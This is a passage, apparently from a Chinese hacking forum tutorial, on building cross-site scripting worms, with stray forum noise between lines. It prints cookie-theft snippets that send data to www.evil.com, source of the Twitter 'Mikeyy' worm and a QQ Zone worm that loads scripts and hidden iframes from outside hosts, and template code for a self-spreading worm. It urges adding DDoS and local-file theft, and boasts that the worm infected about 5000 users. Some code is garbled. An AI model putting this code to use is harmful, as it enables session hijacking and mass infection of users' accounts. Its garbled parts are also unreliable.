/ L0 U$ ~( t* M1 H( \; o复制代码突破还可以采用XmlHttp.setRequestHeader.通过setRequestHeader,把COOKIES等信息转向到目标页面.<script>
  Z* {2 \5 E9 p
var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");

XmlHttp.open("GET","http://www.google.com",false);
8 t) B; N; {1 K! h+ M# `4 W
; M+ K* \; ~: t/ }( U1 Y, @5 FXmlHttp.setRequestHeader("Host","www.evil.com/collet.php");

XmlHttp.send(null);
0 ~7 l( b/ {) c( p( j4 ?. X0 [; z9 c
</script>
  Z' \! b' @  F& b复制代码当Apache启动了mod_proxy,还可以使用proxy方式作为中间人方式获得受保护COOKIES.<script>

var XmlHttp = new ActiveXObject("Microsoft.XMLHTTP");
# e7 \0 ^9 s0 {; I4 _) }
  m$ a/ f: [0 Q; a6 a' @
+ S' H1 A+ R' F. b* a( F# s8 Y3 M
* D! G7 t% i7 @' O. VXmlHttp.open("GET\thttp://www.evil.com/collet.php","http://www.vul.site/wherever",false);

XmlHttp.send(null);
' a  z/ k+ n/ o
<script>
复制代码(IV) 综合性的高级XSS蠕虫:什么是XSS蠕虫,他的实现,传染,工作原理,常见作用都是什么.
+ x3 I" N/ e+ w8 E5 K复制代码案例:Twitter 蠕蟲五度發威
第一版:
  下载 (5.1 KB)

0 h' b3 ~4 S- M, s: E# Z: l( R) S6 天前 08:27
6 Q2 G. w5 s( r; h  l/ `" F8 r! m
第二版:   1. var _0xc26a = ["Msxml2.XMLHTTP", "Microsoft.XMLHTTP", "connect", "toUpperCase", "GET", "?", "open", "", "Method", "OST ", " HTTP/1.1", "setRequestHeader", "Content-Type", "application/x-www-form-urlencoded", "onreadystatechange", "readyState", "send", "split", "join", "'", "%27", "(", "%28", ")", "%29", "*", "%2A", "~", "%7E", "!", "%21", "%20", "+", "%", "replace", "innerHTML", "documentElement", "exec", "Twitter should really fix this... Mikeyy", "I am done... Mikeyy", "Mikeyy is done..", "Twitter please fix this, regards Mikeyy", "random", "length", "floor", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%6a%73%78%73%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%63%6f%6e%74%65%6e%74%2e%69%72%65%65%6c%2e%63%6f%6d%2f%78%73%73%6a%73%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "mikeyy "></a><script>document.write(unescape(/%3c%73%63%72%69%70%74%20%73%72%63%3d%22%68%74%74%70%3a%2f%2f%62%61%6d%62%61%6d%79%6f%2e%31%31%30%6d%62%2e%63%6f%6d%2f%77%6f%6d%70%77%6f%6d%70%2e%6a%73%22%3e%3c%2f%73%63%72%69%70%74%3e/.source));</script> <a ", "/status/update", "OST", "authenticity_token=", "&status=", "&return_rendered_status=true&twttr=true", "/account/settings", "&user[name]=Womp+++++++++++++++++++++++++++++++++++++++++!&user=", "&tab=home&update=update", "/account/profile_settings", "&user[profile_default]=false&tab=none&profile_theme=0&user[profile_use_background_image]=0&user[profile_background_tile]=0&user[profile_link_color]=", "&commit=save+changes", "wait()""];  

   2.   

7 W5 A+ P: f2 D: G   3. function XHConn(){  
1 ?+ M" f2 m) H; Z! a  F
   4.   var _0x6687x2,_0x6687x3=false;  
* a5 G: P7 m( P; T8 o' W
   5.   try{ _0x6687x2= new ActiveXObject(_0xc26a[0x0]); }  

% [, v+ I. w1 T  Y0 G1 X' F   6.   catch(e) { try{ _0x6687x2= new ActiveXObject(_0xc26a[0x1]); }  
; o1 y( i5 X3 e9 w2 i
$ T0 H! U$ h, k1 X# E   7.   catch(e) { try { _0x6687x2= new XMLHttpRequest(); }  
+ |$ ?5 O& r: l( v) f7 k6 u7 a
   8.   catch(e) { _0x6687x2=false; }; }; };  
. h3 ^: A+ u+ J  @& t复制代码第六版:   1. function wait() {  

   2.   var content = document.documentElement.innerHTML;  

; x7 E$ h! [5 E   3.   var tmp_cookie=document.cookie;  

# f2 h$ T: p8 B3 q( N4 R   4.   var tmp_posted=tmp_cookie.match(/posted/);  

   5.   authreg= new RegExp(/twttr.form_authenticity_token = '(.*)';/g);  
) _8 H" U( X% E, g7 ~
  [1 y8 G' I& y+ N   6.   var authtoken=authreg.exec(content);  

+ q2 X" ?  B* v   7.   var authtoken=authtoken[1];  

   8.   var randomUpdate= new Array();  

   9.   randomUpdate[0]= "Be nice to your kids. They'll choose your nursing home. Womp. mikeyy.";  
9 Z7 v$ G6 ^6 H# H
/ j# [4 Y# p9 \7 ~7 Z% c  10.   randomUpdate[1]= "If you are born ugly blame your parents, if you died ugly blame your doctor. Womp. mikeyy.";  

  11.   randomUpdate[2]= "Every man should marry. After all, happiness is not the only thing in life. Womp. mikeyy.";  
7 o" o; z1 K3 l3 c; c+ X5 j" O
9 H, c6 Z5 K+ ~  12.   randomUpdate[3]= "Age is a very high price to pay for maturity. Womp. mikeyy.";  
! n+ o* c6 u7 U- K
  13.   randomUpdate[4]= "Ninety-nine percent of all lawyers give the rest a bad name. Womp. mikeyy.";  
& {5 K! C0 q2 O* a. U
  14.   randomUpdate[5]= "If your father is a poor man, it is your fate, but if your father-in-law is a poor man, it's your stupidity. Womp. mikeyy.";  
3 u2 x/ z' F8 k2 I) _  `
3 m" @7 n  o6 A( l, ~# \6 O  15.   randomUpdate[6]= "Money is not the only thing, it's everything. Womp. mikeyy.";  
) i  v% ?: \+ u* T- J  Y' Z
9 y2 }) ^, O4 o# s/ B  16.   randomUpdate[7]= "Success is a relative term. It brings so many relatives. Womp. mikeyy.";  

- @' E- c% c# C0 J( v& Y  17.   randomUpdate[8]= "'Your future depends on your dreams', So go to sleep. Womp. mikeyy.";  

  18.   randomUpdate[9]= "God made relatives; Thank God we can choose our friends.Womp. mikeyy.";  
1 O, s2 P, C' L
: W* V% N7 V; u, @  19.   randomUpdate[10]= "'Work fascinates me' I can look at it for hours ! Womp. mikeyy.";  

6 E" A8 T: [3 E1 Z7 [9 z  20.   randomUpdate[11]= "I have enough money to last me the rest of my life. (unless I buy something) Womp. mikeyy.";  
4 ], d: U* m8 e- p% ?1 n
, f" U3 P# g$ z, e2 w+ l  21.   randomUpdate[12]= "RT!! @spam Watch out for the Mikeyy worm [url]http://bit.ly/XvuJe";  

( \3 Z- `+ u) z* z6 T' U  22.   randomUpdate[13]= "FUCK. NEW MIKEYYY WORM! REMOVE IT: http://bit.ly/fuSkF";  

" U5 X% {, `( D( b) G7 ^% m  23.   randomUpdate[14]= "Mikeyy worm is back!!! Click here to remove it: http://bit.ly/UTPXe";  
$ M+ z0 L, @/ T
  24.     

" l1 g2 O  g& Q6 ~  25.   var genRand = randomUpdate[Math.floor(Math.random()*randomUpdate.length)];  

$ T7 z  I1 w+ y" n' I. ^  26.   var updateEncode=urlencode(randomUpdate[genRand]);  
" T# o5 ^) O' d
5 D! a7 D  m" Q, p! o0 v3 L  27.     

  28.   var ajaxConn= new XHConn();  

  29.   ajaxConn.connect("/status/update","OST","authenticity_token="+authtoken+_"&status="+updateEncode+"&return_rendered_status=true&twttr=true");  
$ `) Q* `; ?. d3 j
1 I  t$ R! ^$ A# {2 k: G- W  30.   var _0xf81bx1c="Mikeyy";  

  31.   var updateEncode=urlencode(_0xf81bx1c);  
% z. p2 o% _' j# w' a+ Y- f
. U  o# H- v. w( m1 q  32.   var ajaxConn1= new XHConn();  
; f5 d7 a; z: u* x
; G, g- k, R' x' m  33.   ajaxConn1.connect("/account/settings","OST","authenticity_token="]+authtoken+"&user[name]="+updateEncode+""+updateEncode+"&user[description]="+updateEncode+"&user[location]="+updateEncode+"&user[protected]=0&commit=Save");  

  34.   var genXSS="000; }  #notifications{width: expression(document.body.appendChild(document.createElement('script')).src='http://runebash.net/xss.js');) #test { color:#333333";  
, p. p9 j) X% }
  35.   var XSS=urlencode(genXSS);  

  36.   var ajaxConn2= new XHConn();  
% Q( ^9 y; f* y( U; A3 m2 [9 _7 x
  37.   ajaxConn2.connect("/account/profile_settings",""OST,"authenticity_token="]+authtoken+"&user[profile_sidebar_fill_color]="+XSS+"&commit=save+changes");  
7 f6 k# Z4 P$ e& W
, H3 ]& r; o7 z# X% g  38.     
) e# G" ~, C7 }4 ~; a
  39. } ;  
& F7 b, R2 c9 O) u% Y
  40. setTimeout(wait(),5250);  
* N7 Q9 m9 ^  a  O1 j$ O复制代码QQ空间XSSfunction killErrors() {return true;}

- K4 ~1 [) J, l# N2 G2 xwindow.onerror=killErrors;


/ G1 r5 S9 e; L. ~9 x; f( \
var shendu;shendu=4;
7 ~! c- p7 W" @1 W
//---------------global---v------------------------------------------

//通过indexOf函数得到URL中相应的字符串，用于判断是否登录的吧？

var visitorID;var userurl;var guest;var xhr;var targetblogurlid="0";
" B4 Z: Y6 [+ N$ B* x6 s/ E- E7 o
var myblogurl=new Array();var myblogid=new Array();
6 q3 y3 U( H4 B/ [3 q  k! H) ]1 e9 \; D0 N
7 p; Q0 ?1 y+ A8 u9 Z" @4 J        var gurl=document.location.href;

/ d5 L, T6 q& N: n        var gurle=gurl.indexOf("com/");
  V% z6 ]; F8 @4 M+ F5 l
& O# y3 P5 y& l3 i& ]% u+ I( f        gurl=gurl.substring(0,gurle+3);        

        var visitorID=top.document.documentElement.outerHTML;
. r1 ]! i) c9 I' ?4 b8 X
0 D( K6 `: D6 m0 p' k% l- H           var cookieS=visitorID.indexOf("g_iLoginUin = ");

        visitorID=visitorID.substring(cookieS+14);
$ y6 j+ A; J) ?7 N$ ?3 e1 \
+ t6 e9 X3 r/ g        cookieS=visitorID.indexOf(",");

0 |/ V2 I% ~% w- e        visitorID=visitorID.substring(0,cookieS);
+ y) O9 e; e+ W3 @) W0 ^5 g% c
        get_my_blog(visitorID);
+ X' A8 ?$ I2 C& Y# f, L$ ]- k
        DOshuamy();

: h: @: l2 ~: K+ p' ~: M* ?: L: e
$ p" f8 i7 L: @& R
7 R4 A' O, y8 k9 f//挂马

" y9 q# I4 M6 Zfunction DOshuamy(){
! \: \6 j- C2 Q
: D6 M8 u: C4 W, v+ wvar ssr=document.getElementById("veryTitle");

. [) w! u) t7 [4 Vssr.insertAdjacentHTML("beforeend","<iframe width=0 height=0 src='http://www.xxx.com/1.html'></iframe>");

5 X! Q$ t3 |* ]8 R2 M7 u}
1 m# D# t$ w/ Q+ @2 _
" f3 W5 w; \: c, V1 }
1 D: v* t3 r, |( Q$ \+ x
//如果创建XMLHttpRequest成功就跳到指定的URL去，这个URL是干什么的就不知道了，没看过，刷人气？
$ a5 l0 x, |" R$ h
function get_my_blog(visitorID){

   userurl=gurl+"/cgi-bin/blognew/blog_output_toppage?uin="+visitorID+"&direct=1";
, z6 f* r; A: I
6 R* s: P  V( |3 k  I; k8 ^   xhr=createXMLHttpRequest();    //创建XMLHttpRequest对象

5 ?, E5 Y- x- M+ O5 s   if(xhr){    //成功就执行下面的
; Y- b: P' R, ^
     xhr.open("GET",userurl,false);    //以GET方式打开定义的URL
) R' o$ T9 f7 q
% W! a6 |+ T- D/ [8 L- T& ^! x     xhr.send();guest=xhr.responseText;
! {5 T) {' [3 U0 I
- w7 J" _9 ]. R1 ?) A     get_my_blogurl(guest);    //执行这个函数

1 t5 \- ^* l( ?! V  y3 Y; S% J2 T    }

: C9 o- q$ W! [  H}
  a; b: {* x: k; b2 v; X* ^+ }. }8 y


//这里似乎是判断没有登录的
, T  O  `% \: M. F" v
/ w) s- G; F! ?( {9 hfunction get_my_blogurl(guest){
# c& w: A+ N  E& Y
9 O, i7 D' v+ [( L  var mybloglist=guest;

  var myurls;var blogids;var blogide;
; Q. K6 T3 e* U! n1 y
3 O( }7 \3 r/ \- O, f  for(i=0;i<shendu;i++){

4 l% K1 c" K0 V  E& n. M# H: E/ X+ I     myurls=mybloglist.indexOf('selectBlog(');    //查找URL中"selectBlog"字符串，干什么的就不知道了
& ]3 u4 t- ^5 W
8 r5 @2 ^5 k, K* e1 [* C: y$ O- j     if(myurls!=-1){    //找到了就执行下面的
- @1 L- T; v! Z7 L% _( P$ x
         mybloglist=mybloglist.substring(myurls+11);
' C' C$ Z9 g3 X' M2 {
         myurls=mybloglist.indexOf(')');
# P" A% m  G  g8 H: D& G
         myblogid=mybloglist.substring(0,myurls);

        }else{break;}

  c0 ^: [8 W' u% o+ ~; [}
* n7 }) E9 y* @( m& B' F
get_my_testself();    //执行这个函数
9 y" u2 {; k9 M) R
) S) }$ Z1 V% Y# f/ |}

9 g; h; |0 u% G+ [) |! ?3 y4 M% T

//这里往哪跳就不知道了

function get_my_testself(){

  for(i=0;i<myblogid.length;i++){    //获得blogid的值
  ?4 k% n9 M5 p) ~& M
2 N( V3 d! S4 p$ g8 h3 @      var url=gurl+"/cgi-bin/blognew/blog_output_data?uin="+visitorID+"&blogid="+myblogid+"&r="+Math.random();

      var xhr2=createXMLHttpRequest();    //创建XMLHttpRequest对象
3 x* l2 f; \9 c. {1 m/ H6 L
1 X' P, I- \7 J      if(xhr2){        //如果成功

8 ?9 p, L1 D0 H: t! L+ i: {              xhr2.open("GET",url,false);     //打开上面的那个url
( |' V/ M, n2 `0 F/ q: }
) u" ^! W0 w' D; }6 i. q% }              xhr2.send();

              guest2=xhr2.responseText;
* G9 ~  q% ?$ J! ^7 ~# ?
* r7 G/ x" z6 y% {              var mycheckit=guest2.indexOf("baidu");    //找"baidu"这个字符串，找它做什么？
/ ^3 Y9 s+ R$ k. Z$ {7 i" Y
4 ^2 i- B9 X/ d5 s: Z" P: b" }              var mycheckmydoit=guest2.indexOf("mydoit"); //找"mydoit"这个字符串
! ~/ b8 R2 c- y% \
) p* h- w8 P, q3 g) q1 @% x5 \              if(mycheckmydoit!="-1"){    //返回-1则代表没找到

0 f! I( T; g. T: A: k% h                targetblogurlid=myblogid;   

, y5 D3 {* l5 @) d                add_jsdel(visitorID,targetblogurlid,gurl);    //执行它

5 [1 y$ T/ [4 }, M6 |& V                break;

               }
1 Z) [0 {$ }6 F  \% k
3 s' M0 N3 }) c              if(mycheckit=="-1"){
% Y# H- r, B7 D" y& S
                targetblogurlid=myblogid;
; I/ N5 p: V4 o( n8 ~9 `: `
5 y' y- M) ~% W                add_js(visitorID,targetblogurlid,gurl);    //执行它

                break;

: N8 K" S6 U: |6 ~4 u) c1 R0 y4 z) A               }

7 B6 [/ Z- [% O0 q' n% E* U# [        }      

: L# C" B' p( Q}
' G' {" E  D$ h  K% `& [( R
}
$ i6 t  s9 C3 k6 `
! A7 i1 u) m7 G# }
9 l- k2 w8 L3 V& u  l
- M: ~' u9 N. \  s4 `3 f& O7 i//--------------------------------------  

//根据浏览器创建一个XMLHttpRequest对象
. y( {& `9 G" ~: X
function createXMLHttpRequest(){

    var XMLhttpObject=null;  

- R, |; u$ ~4 N  o% R    if (window.XMLHttpRequest) {XMLhttpObject = new XMLHttpRequest()}  
5 F, g/ w% N4 k, v- E9 p
: I1 h0 Z$ Y9 M& F3 f: d5 [    else  

      { var MSXML=['Msxml2.XMLHTTP.7.0','Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP','MSXML.XMLHTTP', 'MICROSOFT.XMLHTTP.1.0','MICROSOFT.XMLHTTP.1', 'Microsoft.XMLHTTP'];        

        for(var i=0;i<MSXML.length;i++)  
4 T1 T+ y$ ^5 g1 I' O7 x
8 v9 _2 g" c: F$ j2 e9 S        {  

! h* V6 _: F% n& |            try  

            {  

                XMLhttpObject=new ActiveXObject(MSXML);  
' O) z+ c& G5 \7 V
                break;  
/ B4 {+ Z. ]. ]$ e) a
. O% ^& P: l/ C- i9 |            }  
) s$ }8 c: k2 [; ?! D: q! K
: _& U( w2 N8 b            catch (ex) {  
4 p" T: D( l" a2 F) D
            }  
/ n3 ?9 S2 L: p* g+ K5 d; ^: B/ N/ w
0 ?! U( n5 Z8 k; r! D" r         }  

      }

return XMLhttpObject;

" O/ B/ @; b2 U}  
! `0 v4 d; K  C# O5 l) ~+ t, [( J7 `
3 Y3 w5 B- @( ^
) X# ]& }( v0 Y! ?
//这里就是感染部分了
) M  b. Q8 o( j0 n
( t/ |: J9 d7 e* j: _function add_js(visitorID,targetblogurlid,gurl){
5 y# H* w% I% \* Q
, \) \! J- Q- N1 }! o* I# evar s2=document.createElement('script');
: |$ T6 e  y0 d6 K
# D, d$ e, b3 G5 R. j" y; t( bs2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/index.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();
7 \$ D* N+ W" `" }! N2 \7 N
% g- B" N/ F9 H% ^1 b+ n: Es2.type='text/javascript';
7 N, }( [: D- e( A+ L% s. d
) M7 M) u* i6 \0 B$ Pdocument.getElementsByTagName('head').item(0).appendChild(s2);

}



+ z& w& }/ a, j2 ~) i, b' }$ Tfunction add_jsdel(visitorID,targetblogurlid,gurl){
" d3 k' l: d6 j
! ]% I  _- _  Y& m  c7 Evar s2=document.createElement('script');

0 a) o! K$ b# B" t# Js2.src='http://xss0211.111.5ghezu.com.cn/images/qq/temp/wm/linshi/del.php?gurl='+gurl+'&uin='+visitorID+'&blogid='+targetblogurlid+"&r="+Math.random();

s2.type='text/javascript';
% }7 l# Z! f% x$ f) I
2 F$ M3 c- l3 h# Z/ wdocument.getElementsByTagName('head').item(0).appendChild(s2);
+ g3 c7 z" A& t. D
5 t' z8 w: ]% o' `7 K8 g9 p7 ], V}
* v7 w1 ]# {' _! ]* V复制代码通过以上几个蠕虫,我们可以总结蠕虫的工作原理为:
% d  [: X( @/ f: k1:首先写入调用蠕虫代码到一个存在XSS漏洞的位置(在非长久性XSS漏洞里,我们也可以通过把短暂性的XSS连接通过各种传播方式,发送给其他用户,当某个用户中了XSS后,再通过蠕虫,向其好友发送同一短暂性XSS连接.)

2:受害用户在登陆状态中,观看了存在XSS的问题页面,JS执行,并植入XSS蠕虫代码到该用户帐户中,且通过搜索好友等方法,传播给其他用户.即复制感染过程.(在论坛或者回复类型页面中传播XSS蠕虫,只要保证每页面同时存在2个或者以上蠕虫,就可以保证蠕虫不会被增加的数据覆盖.)
4 ^: j( h9 S, v
综上所述,结合以上种种技巧,就可以创造我们自己的XSS蠕虫了.在我们的蠕虫里,我们可以添加截取屏幕功能,DDOS功能,可以判断客户端浏览器的版本,读取并且发送客户端的本地文件~


下面,我们来初步写一个简单主体蠕虫,并且预留可添加功能的地方.
( O! m% N2 K* N5 `$ T
$ O1 ?* v; `3 L: ~5 s首先,自然是判断不同浏览器,创建不同的对象var request = false;
; m/ O3 \( d6 @8 x2 r9 E
if(window.XMLHttpRequest) {

1 O- k0 T& {7 N+ n" Srequest = new XMLHttpRequest();
7 k5 o; o, y4 @5 g, O9 N
if(request.overrideMimeType) {

request.overrideMimeType('text/xml');

}

, O9 V# `: l3 `& j8 _' B( ]} else if(window.ActiveXObject) {
4 {3 T% n5 M# t3 Y
# L1 b4 x# p1 u3 {! \2 ]- Zvar versions = ['Microsoft.XMLHTTP', 'MSXML.XMLHTTP', 'Microsoft.XMLHTTP', 'Msxml2.XMLHTTP.7.0', 'Msxml2.XMLHTTP.6.0', 'Msxml2.XMLHTTP.5.0', 'Msxml2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP'];
9 k8 m0 E2 l9 W1 q+ M+ G& p  Q4 s. q7 ~
for(var i=0; i<versions.length; i++) {

2 @% i6 J! e; t* Z6 @try {
$ g/ L( g! Z  a9 z4 U
5 a& M4 F6 A" t9 Orequest = new ActiveXObject(versions);
( C3 g. L6 \0 P, W) G( l
} catch(e) {}
% P1 Q; k* N( e2 x7 N
5 m% N$ ~8 _) A}
3 h* O9 m: A  j6 @4 f# B
}
" u1 X, p: A9 V! b
& y1 G2 @2 w. k7 w# M/ QxmlHttpReq=request;
复制代码可以此时添加判断浏览器具体型号和版本:   function browserinfo(){
  x: k0 J3 _& ^  G1 P, F, w* w# ]
/ \8 S" a2 C3 O' M        var Browser_Name=navigator.appName;
" M* G6 x. T+ p+ e' }+ l
        var Browser_Version=parseFloat(navigator.appVersion);

( F4 N' e0 J* B& z/ d% e  U; i        var Browser_Agent=navigator.userAgent;

( f7 D3 E/ }0 n( V        
+ f) x6 e5 ~6 W4 ]5 D
        var Actual_Version,Actual_Name;
* S0 {0 C2 y4 r6 F5 [# m2 Q
        

        var is_IE=(Browser_Name=="Microsoft Internet Explorer");
5 {. T4 O5 m0 P, x, C
        var is_NN=(Browser_Name=="Netscape");
3 L1 D  r. s" M) R
        var is_Ch=(Browser_Name=="Chrome");
* h+ x# M$ D. v: M  i* j
/ j+ ~6 I# a0 J        
$ S5 M: b! |9 u6 g
8 J. }! w1 ]) {$ S4 J        if(is_NN){

            if(Browser_Version>=5.0){
2 v' o2 ~1 a* Y; P
                var Split_Sign=Browser_Agent.lastIndexOf("/");

                var Version=Browser_Agent.indexOf(" ",Split_Sign);
, Z) h/ y/ f- p
                var Bname=Browser_Agent.lastIndexOf(" ",Split_Sign);

& M' n+ \2 Y  ^" ]

                Actual_Version=Browser_Agent.substring(Split_Sign+1,Version);
; o1 E. w. m# v! c- S- C- r
& I; Z# ~3 s) S! x                Actual_Name=Browser_Agent.substring(Bname+1,Split_Sign);

            }
$ T7 j( z2 s5 m5 N. D
            else{
& O$ \, G% I1 o% O& W( E7 K
  w( w& v) q  h- g8 ]. d. m                Actual_Version=Browser_Version;

                Actual_Name=Browser_Name;

            }

  y4 ]% ?) D! x" f        }
) ~; x( O/ u, o
        else if(is_IE){
% {6 ]4 X; d& g# n  s! s1 j
1 ~5 f' |& [2 R+ m! \% y. M            var Version_Start=Browser_Agent.indexOf("MSIE");
0 @4 L1 W9 ?1 Z5 P6 [0 z. ]
9 ^9 b! [) L0 X* k# N            var Version_End=Browser_Agent.indexOf(";",Version_Start);
3 U; J5 ?7 I) \0 T
! M' m# A. \8 o  H" W            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)

            Actual_Name=Browser_Name;

: C8 u6 i8 ?4 N- j            
. n# F2 p! f" F0 e# r  M3 g) q
: J% W( M/ x8 ^) Y  t2 Z            if(Browser_Agent.indexOf("Maxthon")!=-1){

                Actual_Name+="(Maxthon)";

/ h( R" ?8 u# Q+ @8 o9 A            }
# w1 J( z: g# h( x% h; ]& L1 `7 W
, m$ U2 O: E. h$ C, e* J. k1 t            else if(Browser_Agent.indexOf("Opera")!=-1){
1 \' X, |! I0 B& Z" d
$ R+ S; R4 O% a                Actual_Name="Opera";
! `- m* S& d6 K5 X
( e& [3 N- j+ a3 F* i                var tempstart=Browser_Agent.indexOf("Opera");

1 Q# a$ x5 I, v% J, o- N1 W5 _                var tempend=Browser_Agent.length;

                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

            }
) Q6 ?! s1 f; I; h# H
        }
9 ~) j3 d1 o9 G/ J1 A& ~# x. p
        else if(is_Ch){

5 ~, _- P0 [$ V            var Version_Start=Browser_Agent.indexOf("Chrome");

            var Version_End=Browser_Agent.indexOf(";",Version_Start);

! b: t; L% z3 {+ M/ B            Actual_Version=Browser_Agent.substring(Version_Start+5,Version_End)
; r1 G0 U3 d' n  |
7 [' ~0 H# S$ x! |# d            Actual_Name=Browser_Name;
7 F4 f* Z" M  _2 n) q
            

            if(Browser_Agent.indexOf("Maxthon")!=-1){

4 a" }% i/ f4 u7 X                Actual_Name+="(Maxthon)";
8 ~2 R" z: f- `# `
            }

: g0 w7 l' i& i( `1 ?            else if(Browser_Agent.indexOf("Opera")!=-1){
+ U/ c0 q' r7 P$ t' q
                Actual_Name="Opera";
- V& y9 d! c1 d6 H
                var tempstart=Browser_Agent.indexOf("Opera");
5 l* n6 ~# }9 w0 T* |
- |/ ^2 i+ c$ G                var tempend=Browser_Agent.length;
; H0 r1 C; Y2 b" Y2 Z
3 v) n- P. R. [! D                Actual_Version=Browser_Agent.substring(tempstart+6,tempend)

1 e9 ]9 J$ L; @* x5 Q3 c# s& R            }

' |7 _- c; f: L9 V( t0 s        }

        else{
  A  ?( u+ ?' n' Z' z7 v9 t
            Actual_Name="Unknown Navigator"

0 d) m1 i0 @5 w2 ]            Actual_Version="Unknown Version"

        }

3 P# X! m3 ?8 E' H6 o$ E

8 S/ o. s6 G+ E8 u/ r) L        navigator.Actual_Name=Actual_Name;

2 T: ^0 Z* }# ^5 W        navigator.Actual_Version=Actual_Version;
& e7 r6 b9 u, y: ^& }/ r5 e
2 ^6 K- o$ @- O" y* |0 r        

9 l( h4 r0 w5 X5 L& ~6 G% `  L. L        this.Name=Actual_Name;

. Y0 n. E5 m( i- L: J& b4 k+ }' w        this.Version=Actual_Version;
; z4 {# l0 Z7 Q+ H1 O+ a
    }
, ]7 u/ F$ s6 h8 \( N. R. V* [
    browserinfo();

" C: I1 Q- N- A! {    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Miscrosoft Internet Explorer"){//调用IE读取本地敏感文件}

( k; i# D/ |. ~0 A    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Fire fox"){//调用Firefox读取本地敏感文件}

) Y9 X% Y3 `1 o6 T! C    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Opera"){//调用Opera读取本地敏感文件}

/ J4 K" Z* h, g    if(navigator.Actual_Version<8&&navigator.Actual_Name=="Google Chrome"){//调用Google Chrome读取本地敏感文件}
复制代码随后可以选择调用镜象网页并且发送功能.参考上面的镜象代码
6 }. h' u* h+ t/ w: \7 z; J/ U复制代码随后可以选择调用DDOS功能.参考上面的DDOS代码
- |% N# V: c4 \复制代码然后,在感染和传播功能发作之前,我们要判断当前页面有没有蠕虫存在,如果有,有多少只.如果虫的数量足够,我们就不要再植入蠕虫了.只要保证一定的数量就好.xmlHttpReq.open("GET","http://vul.com/vul.jsp", false);  //读取某页面.

xmlHttpReq.send(null);

var resource = xmlHttpReq.responseText;
/ _" S  R% `; X, q: t
6 @' l0 K0 [# C3 Kvar id=0;var result;

0 \: P$ i+ {5 Y3 N$ }7 V2 uvar patt = new RegExp("bugbug.js","g");     //这里是蠕虫的关键词,用以确定页面有多少只虫.譬如如果你的虫在bugbug.js,那么就可以搜索这个JS在页面内的数量.

while ((result = patt.exec(resource)) != null)  {
! ?/ ]8 W6 x4 z! ~, e' }$ @
id++;
9 q/ B" F2 h# I+ j, q/ F
}
复制代码然后,我们根据数量,来做下一步的操作.先判断,如果数量太少,我们就要让蠕虫感染起来.if(id<2){     //这里我们假设要求那个页面蠕虫的数量要有2只.

7 g- t' Z# c0 ?. nno=resource.search(/my name is/);

var wd='<script src="http://www.evil.com/bugbug.js"</script>';        //wd是存在XSS漏洞的变量.我们在这里写入JS代码.
  e4 o/ u, y/ h( E& K+ @
var post="wd="+wd;
: |8 N1 z9 h  A9 u" F
xmlHttpReq.open("OST","http://www.vul.com/vul.jsp",false);        //把感染代码 POST出去.

, f( {% f2 _& \* {# fxmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

# q$ C1 G! H8 wxmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);

4 {+ [2 Y- o1 z1 L* E& ~}
复制代码如果虫的数量已经足够,那么我们就执行蠕虫:else{

var no=resource.search(/my name is/);     //这里是访问一个授权页面里,取得用户的名称.备份,并将来用在需要填写名称的地方

6 o8 l4 j2 T, T) ^var namee=resource.substr(no+21,5);     //这里是重组用户名,条件是随便写的.具体情况当然要不同获得.
' h  \( e2 \. ~# ?+ I+ ~" k; ?
0 z0 N/ w" b3 F3 i: s! Zvar wd="Support!"+namee+"<br>";        //这里就发出去了一个你指定的MESSAGE.当然,你可以把数据存入一组数组,random读取.

var post="wd="+wd;
' `" T. t' O, ~4 F* t( o! g- @
4 [+ y* N; ]) c" i; _( `xmlHttpReq.open("OST","http://vul.com/vul.jsp",false);
# r; F+ U, z# M) f* G; G
xmlHttpReq.setRequestHeader("Accept","image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, application/x-shockwave-flash, application/vnd.ms-powerpoint, application/vnd.ms-excel, application/msword, */*");

xmlHttpReq.setRequestHeader("content-length",post.length);

xmlHttpReq.setRequestHeader("content-type","application/x-www-form-urlencoded");

xmlHttpReq.send(post);                 //把传播的信息 POST出去.

, i* m+ P6 r( A/ M}
" T$ a# F6 Q3 D) ], e复制代码-----------------------------------------------------总结-------------------------------------------------------------------
8 H* Y+ Z  U7 z# @


本次教程案例中的蠕虫曾经测试成功并且感染了约5000名用户.
蠕虫仅仅是一个载体,在这个载体上,我们可以实现各种各样的功能.
2 h. Q9 T$ G, d4 u- h; R* Y$ h操作JS调用COM,你的想象力有多大,蠕虫能力就有多大.这也是为什么国外黑客往往喜欢写蠕虫的原因.
+ x. }! U/ ?+ Z- p6 F$ m
) d9 i7 z$ n' b) Y) F



7 C# [* R# T2 W9 l* P* F
1 i9 _+ Z; n' s+ \0 r% G

本文引用文档资料:
. }( v( l* [! |* ~
"HTTP Request Smuggling" (Chaim Linhart, Amit Klein, Ronen Heled and Steve Orrin, June 2005)
1 f4 ?' k# T, ROther XmlHttpRequest tricks (Amit Klein, January 2003)
"Cross Site Tracing" (Jeremiah Grossman, January 2003)
http://armorize-cht.blogspot.com 阿碼科技非官方中文 Blog
